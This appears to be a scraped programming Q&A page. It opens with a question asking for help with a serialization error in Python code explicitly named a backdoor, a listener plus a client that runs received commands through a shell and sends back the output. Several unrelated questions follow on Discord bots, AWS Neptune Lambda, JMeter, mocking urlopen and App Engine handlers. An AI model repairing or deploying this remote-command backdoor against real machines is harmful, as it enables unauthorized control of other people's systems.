Socket Serialization Error , a bytes-like object is required, not 'str' - arrays

I tried Encoding but is not working can anyone help me with the serialization in python3 a bytes-like object is required, not 'str'
#!/usr/bin/python3
import socket
import json
import pickle
class Listener:
def __init__(self,ip,port):
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listener.bind((ip,port))
listener.listen(0)
print("[+] Waiting for Incoming Connection")
self.connection,address = listener.accept()
print(("[+] Got a Connection from " + str(address)))
def serialize_send(self, data):
data_send = json.dumps(data)
return self.connection.send(data_send)
def serialize_receive(self):
json_dataX = ""
while True:
try:
# #json_data = json_data + self.connection.recv(1024)
# data = self.connection.recv(1024).decode("utf-8", errors="ignore")
# json_data = json_data + data
# return json.loads(json_data)
json_data = bytes(json_dataX, 'utf-8')+ self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_remotely(self,command):
self.serialize_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.serialize_receive()
def run(self):
while True:
comX = input(">> : ")
command = comX.split(" ")
try:
sys_command = str(command[0])
result = self.execute_remotely(sys_command)
except Exception as errorX:
result = errorX
print(result)
my_backdoor = Listener("localhost",1234)
my_backdoor.run()
Client Code
#!/usr/bin/python3
import socket
import subprocess
import json
import pickle
class Backdoor:
def __init__(self,ip,port):
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect(("localhost",1234))
def serialize_send(self,data):
json_data = json.dumps(data)
self.connection.send(json_data)
def serialize_receive(self):
json_dataX = ""
while True:
try:
#conn_Recv = self.connection.recv(1024)
#data = self.connection.recv(1024).decode("utf-8", errors="ignore")
#json_data = json_dataX + data
json_data = bytes(json_dataX, 'utf-8') + self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_system_commmand(self,command):
return subprocess.check_output(command,shell=True)
def run(self):
while True:
commandx = self.serialize_receive()
command = commandx
try:
if command[0] == "exit":
self.connection.close()
exit()
else:
command_result = self.execute_system_commmand(command)
except Exception:
command_result = "[-] Unknown Execution."
self.serialize_send(command_result)
my_backdoor = Backdoor("localhost",1234)
my_backdoor.run()

Related

Discord Python error: AttributeError: 'TextChannel' object has no attribute 'create_thread'

I've got a series of lengthy messages that make up the help function of my Discord bot, and I'd like to have them sent to a thread instead of the channel itself. However, when I try and call create_thread(), I get this error: AttributeError: 'TextChannel' object has no attribute 'create_thread'
Here's my code:
import discord
import os
import random
import time
client = discord.Client()
class initiative_card:
def __init__(self,name,command,image,emoji,color,card_type,copy,user_defined_name):
self.rgb = str(color).split(",")
self.raw_color = color
self.name = name
self.command = command
self.image = image
self.emoji = emoji
self.color = discord.Color.from_rgb(int(self.rgb[0]),int(self.rgb[1]),int(self.rgb[2]))
if (card_type == "Hero"):
self.is_hero = True
else:
self.is_hero = False
self.copy = copy
self.user_defined_name = user_defined_name
self.faceup = True
self.cardback_emoji = "<:initcardback:1069116117756432435>"
self.cardback_image = "https://cdn.discordapp.com/emojis/1069116117756432435.webp?size=96&quality=lossless"
def flip(self):
self.faceup = not self.faceup
global all_initiative_cards
global initiative_deck
global turn_index
def initialize_deck():
global all_initiative_cards
global initiative_deck
global turn_index
all_initiative_cards = []
# Read the cards file and create the initiative deck
with open('initiative_cards.txt') as f:
lines = f.readlines()
print('Found ' + str(len(lines)) + ' card entries in file')
valid_lines = 0
hero_card_count = 0
for i in lines:
words = i.split(" ")
if len(words) == 7:
all_initiative_cards.append(initiative_card(words[0],words[1],words[2],words[3],words[4],words[5],0,"undefined"))
valid_lines = valid_lines + 1
for i in all_initiative_cards:
if i.is_hero:
hero_card_count = hero_card_count + 1
print(str(valid_lines) + " valid entries found; created " + str(len(all_initiative_cards)) + " cards, of which " + str(hero_card_count) + " were hero cards.")
initiative_deck = []
turn_index = 0
return
#client.event
async def on_ready():
initialize_deck()
await client.change_presence(activity=discord.Activity(type=discord.ActivityType.listening, name='!inithelp'))
#client.event
async def on_message(message):
global all_initiative_cards
global initiative_deck
global turn_index
if message.author == client.user:
return
if message.content.startswith('!allcards'):
new_thread = await message.channel.create_thread(name="Initiative Card Reference", message="Initiative Card Reference", type=ChannelType.public_thread)
new_thread.add_user(message.author)
embed=discord.Embed(title="Initiative", description="Listing all cards available to add to the track.", color=0x8c8c8c)
embed.set_thumbnail(url='https://cdn.discordapp.com/emojis/756583300612751460.webp?size=96&quality=lossless')
for index, item in enumerate(all_initiative_cards):
if (not (index % 8)) and (index > 0):
await new_thread.send(embed=embed)
embed=discord.Embed(title="Spectaculars Initiative", description="Listing all cards available to add to the track.", color=0x8c8c8c)
embed.set_thumbnail(url='https://cdn.discordapp.com/emojis/756583300612751460.webp?size=96&quality=lossless')
embed.add_field(name=item.name, value="Card ID: " + item.command, inline=True)
embed.add_field(name="Card Image", value=item.emoji,inline=True)
embed.add_field(name='\n',value='\n')
await new_thread.send(embed=embed)
Discord.py seems to have a create_thread method for TextChannel. What am I not seeing here?
I've tried removing all of the arguments from message.channel.create_thread. I was expecting this to create a new thread with the help text in it in the channel in which the help request was sent.

Using AWS Lambda functions in Amazon Neptune

I created an AWS Lambda function using this example code in AWS neptuneDB documentation. I followed documentation properly and set the all necessary lambda environmentale variables as well. But when I tested the function it raises an error. Could you please help me solve this issue. I wonder why the code in the AWS neptunedb documentation does not work.
code:
import os, sys, backoff, math
from random import randint
from gremlin_python import statics
from gremlin_python.driver.driver_remote_connection import DriverRemoteConnection
from gremlin_python.driver.protocol import GremlinServerError
from gremlin_python.driver import serializer
from gremlin_python.process.anonymous_traversal import traversal
from gremlin_python.process.graph_traversal import __
from gremlin_python.process.strategies import *
from gremlin_python.process.traversal import T
from tornado.websocket import WebSocketClosedError
from tornado import httpclient
from botocore.auth import SigV4Auth
from botocore.awsrequest import AWSRequest
from botocore.credentials import ReadOnlyCredentials
from types import SimpleNamespace
reconnectable_err_msgs = [
'ReadOnlyViolationException',
'Server disconnected',
'Connection refused'
]
retriable_err_msgs = ['ConcurrentModificationException'] + reconnectable_err_msgs
network_errors = [WebSocketClosedError, OSError]
retriable_errors = [GremlinServerError] + network_errors
def prepare_iamdb_request(database_url):
service = 'neptune-db'
method = 'GET'
access_key = os.environ['AWS_ACCESS_KEY_ID']
secret_key = os.environ['AWS_SECRET_ACCESS_KEY']
region = os.environ['AWS_REGION']
session_token = os.environ['AWS_SESSION_TOKEN']
creds = SimpleNamespace(
access_key=access_key, secret_key=secret_key, token=session_token, region=region,
)
request = AWSRequest(method=method, url=database_url, data=None)
SigV4Auth(creds, service, region).add_auth(request)
return httpclient.HTTPRequest(database_url, headers=request.headers.items())
def is_retriable_error(e):
is_retriable = False
err_msg = str(e)
if isinstance(e, tuple(network_errors)):
is_retriable = True
else:
is_retriable = any(retriable_err_msg in err_msg for retriable_err_msg in retriable_err_msgs)
print('error: [{}] {}'.format(type(e), err_msg))
print('is_retriable: {}'.format(is_retriable))
return is_retriable
def is_non_retriable_error(e):
return not is_retriable_error(e)
def reset_connection_if_connection_issue(params):
is_reconnectable = False
e = sys.exc_info()[1]
err_msg = str(e)
if isinstance(e, tuple(network_errors)):
is_reconnectable = True
else:
is_reconnectable = any(reconnectable_err_msg in err_msg for reconnectable_err_msg in reconnectable_err_msgs)
print('is_reconnectable: {}'.format(is_reconnectable))
if is_reconnectable:
global conn
global g
conn.close()
conn = create_remote_connection()
g = create_graph_traversal_source(conn)
#backoff.on_exception(backoff.constant,
tuple(retriable_errors),
max_tries=5,
jitter=None,
giveup=is_non_retriable_error,
on_backoff=reset_connection_if_connection_issue,
interval=1)
def query(**kwargs):
id = kwargs['id']
return (g.V(id)
.fold()
.coalesce(
__.unfold(),
__.addV('User').property(T.id, id)
)
.id().next())
def doQuery(event):
return query(id=str(randint(0, 10000)))
def lambda_handler(event, context):
return doQuery(event)
def create_graph_traversal_source(conn):
return traversal().withRemote(conn)
def create_remote_connection():
print('Creating remote connection')
return DriverRemoteConnection(
connection_string(),
'g',
pool_size=1,
message_serializer=serializer.GraphSONSerializersV2d0())
def connection_string():
database_url = 'wss://{}:{}/gremlin'.format(os.environ['neptuneEndpoint'], os.environ['neptunePort'])
if 'USE_IAM' in os.environ and os.environ['USE_IAM'] == 'true':
return prepare_iamdb_request(database_url)
else:
return database_url
conn = create_remote_connection()
g = create_graph_traversal_source(conn)
error message:
{
"errorMessage": "'GraphTraversal' object is not callable",
"errorType": "TypeError",
"requestId": "69e6ecd3-1291-4d21-a8fa-1fc910525fc1",
"stackTrace": [
" File \"/var/task/lambda_function.py\", line 111, in lambda_handler\n return doQuery(event)\n",
" File \"/var/task/lambda_function.py\", line 108, in doQuery\n return query(id=str(randint(0, 10000)))\n",
" File \"/var/task/backoff/_sync.py\", line 105, in retry\n ret = target(*args, **kwargs)\n",
" File \"/var/task/lambda_function.py\", line 99, in query\n return (g.V(id)\n"
]
}
log output:
LOGS Name: cloudwatch_lambda_agent State: Subscribed Types: [Platform]
Creating remote connection
EXTENSION Name: cloudwatch_lambda_agent State: Ready Events: [INVOKE,SHUTDOWN]
START RequestId: 69e6ecd3-1291-4d21-a8fa-1fc910525fc1 Version: $LATEST
[ERROR] TypeError: 'GraphTraversal' object is not callable
Traceback (most recent call last):
  File "/var/task/lambda_function.py", line 111, in lambda_handler
    return doQuery(event)
  File "/var/task/lambda_function.py", line 108, in doQuery
    return query(id=str(randint(0, 10000)))
  File "/var/task/backoff/_sync.py", line 105, in retry
    ret = target(*args, **kwargs)
  File "/var/task/lambda_function.py", line 99, in query
    return (g.V(id)END RequestId: 69e6ecd3-1291-4d21-a8fa-1fc910525fc1
REPORT RequestId: 69e6ecd3-1291-4d21-a8fa-1fc910525fc1 Duration: 108.64 ms Billed Duration: 109 ms Memory Size: 128 MB Max Memory Used: 88 MB Init Duration: 1025.72 ms

How to parse array values from Json in Jmeter

For the below response I need to fetch the rideId and pass it to the next request in Jmeter.Also ,the API that generates below response should be executed until the eventType is HANDSHAKE.
[{"id":90856,"eventType":"HANDSHAKE","parameters":"{\"handshakeExpiration\":1669217518986,\"rideId\":3107}"}]
I am using the code :
import groovy.json.JsonSlurper;
def jsonSlurper=new JsonSlurper();
def apiDetailsArr=jsonSlurper.parse(prev.getResponseData())
def apiDetails=apiDetailsArr.size()>0?apiDetailsArr.get(0):null
def shouldRun = "1"
if(apiDetails!=null)
{
log.info("details",apiDetails.eventType+"")
if(apiDetails.eventType="HANDSHAKE"){
shouldRun="0"
}
def object=jsonSlurper.parseText(apiDetails.parameters)
log.info("xyz",object+"")
def id=object.rideId;
log.info("id",id+"")
vars.put("id", id+"")
}
else{
shouldRun="1"`enter code here`
}
`Condition for while controller : `${__javaScript( "${shouldRun}" != "0",)}``
All your log.info function calls cause syntax errors, you can see it yourself in (surprise!) the jmeter.log file
I fail to see where you're assigning shouldRun JMeter Variable which is used in the While Controller
Suggested code change:
import groovy.json.JsonSlurper;
def jsonSlurper = new JsonSlurper();
def apiDetailsArr = jsonSlurper.parse(prev.getResponseData())
def apiDetails = apiDetailsArr.size() > 0 ? apiDetailsArr.get(0) : null
def shouldRun = "1"
if (apiDetails != null) {
log.info("details", apiDetails.eventType + "")
if (apiDetails.eventType = "HANDSHAKE") {
shouldRun = "0"
}
def object = jsonSlurper.parseText(apiDetails.parameters)
log.info("xyz" + object)
def id = object.rideId;
log.info("id" + id)
vars.put("id", id as String)
} else {
shouldRun = "1"
}
vars.put("shouldRun", shouldRun)
More information on Groovy scripting in JMeter: Apache Groovy: What Is Groovy Used For?

Mocking urllib.request.urlopen using unittest

I'm trying to mock this urlopen function. Got a couple of solutions from other similar questions but none of them seems to work.
def lambda_handler(event, context):
try:
request = urllib.request.Request(url = URL, data = data, method = method, headers = headers)
with urllib.request.urlopen(request) as httpResponse:
# print(httpResponse.read().decode('utf-8'))
string = httpResponse.read().decode('utf-8')
response = json.loads(string)
print(response)
return response
Approach tried:
class mock_request():
class Request():
....
def urlopen(*args, **krwargs):
return {}
#mock.patch(.....urllib.request, mock_request)
I think the easiest way is to patch __enter__ + __exit__ methods. Just an example:
def lambda_handler(event, context):
try:
# some request... just an example
request = Request('https://restcountries.com/v3.1/name/belarus')
with urllib.request.urlopen(request) as resp:
string = resp.read().decode('utf-8')
return json.loads(string)
except Exception:
pass
Test:
from unittest import TestCase, mock
from unittest.mock import Mock
class TestExample(TestCase):
def test_lambda_handler(self):
print(lambda_handler(1, 2)) # real result from restcountries
open_mock = Mock(
# resp.read().decode('utf-8') will return static value '[]'
__enter__=Mock(return_value=Mock(read=Mock(return_value=Mock(decode=Mock(return_value='[]'))))),
__exit__=Mock(),
)
with mock.patch('urllib.request.urlopen', return_value=open_mock):
print(lambda_handler(1, 2)) # []
# resp.read().decode('utf-8') will return dynamic values
open_mock = Mock(
__enter__=Mock(
return_value=Mock(
read=Mock(return_value=Mock(decode=Mock(side_effect=[
'[{"name": "N S"}]',
'[{"name": "D G"}]']
)))
)
),
__exit__=Mock(),
)
with mock.patch('urllib.request.urlopen', return_value=open_mock):
print(lambda_handler(1, 2)) # [{"name": "N S"}]
print(lambda_handler(1, 2)) # [{"name": "D G"}]

how to handle javascript callback return data in python

var req = new XMLHttpRequest();
req.open('GET', '/Search?' + query, async);
if (async) {
req.onreadystatechange = function() {
if(req.readyState == 4 && req.status == 200) {
var response = null;
try {
response = JSON.parse(req.responseText);
} catch (e) {
response = req.responseText;
}
callback(response);
This callback function returns values to my python code (I am using GAE with python 2.7).
class KeywordSearchRPCHandler(webapp2.RequestHandler):
def __init__(self):
webapp2.RequestHandler.__init__(self)
self.methods = RPCMethods()
def get(self):
func = None
action = self.request.get('action')
if action:
if action[0] == '_':
self.error(403) # access denied
return
else:
func = getattr(self.methods, action, None)
if not func:
self.error(404) # file not found
return
else :
args = ()
while True:
key = 'arg%d' % len(args)
val = self.request.get(key)
#print val
if val:
args = (json.loads(val))
else:
break
result = func(*args)
self.response.out.write(json.dumps(result))
This is the code that handles the callback function.
I get the error init() takes exactly 1 argument (3 given)
Could you please help me modify my code. Thanks a lot in advance.
Here is the documentation: Docs
webapp2.RequestHandler.__init__(request=None, response=None) is the signature.
So add request and response as parameters to your init and you should be fine.
Change def __init__ (self) to def __init__(self, request=None, response=None). This will fix the bug.
And you probably want to call super properly instead of calling __init__ on the class here: webapp2.RequestHandler.__init__(self)
This should most likely be super(KeywordSearchRPCHandler, self).__init__(request, response) instead.
The init handler:
class RPCHandler(webapp2.RequestHandler):
""" Allows the functions defined in the RPCMethods class to be RPCed."""
def __init__(self, request, response):
super(RPCHandler, self).__init__(request, response)
self.methods = RPCMethods()
But I do not understand your json.loads(val) in your GET, because you send a query string and not a json request.
Below is an example post, handling a json post:
def post(self):
data = self.request.body
args = loads(data)
if 'action' not in args:
self.error(405) # access denied
return
func = args['action']
if func[0] == '_':
self.error(403) # access denied
return
func = getattr(self.methods, func, None)
if not func:
self.error(404) # file not found
return
# action handler aanroepen
result = func(args)
self.response.out.write(json.dumps(result))
If you use a GET with a query string webapp2 will handle the request. From the docs:
# An iterable with all items in the MultiDict:
# [('check', 'a'), ('check', 'b'), ('name', 'Bob')]
self.request.GET.items()

Resources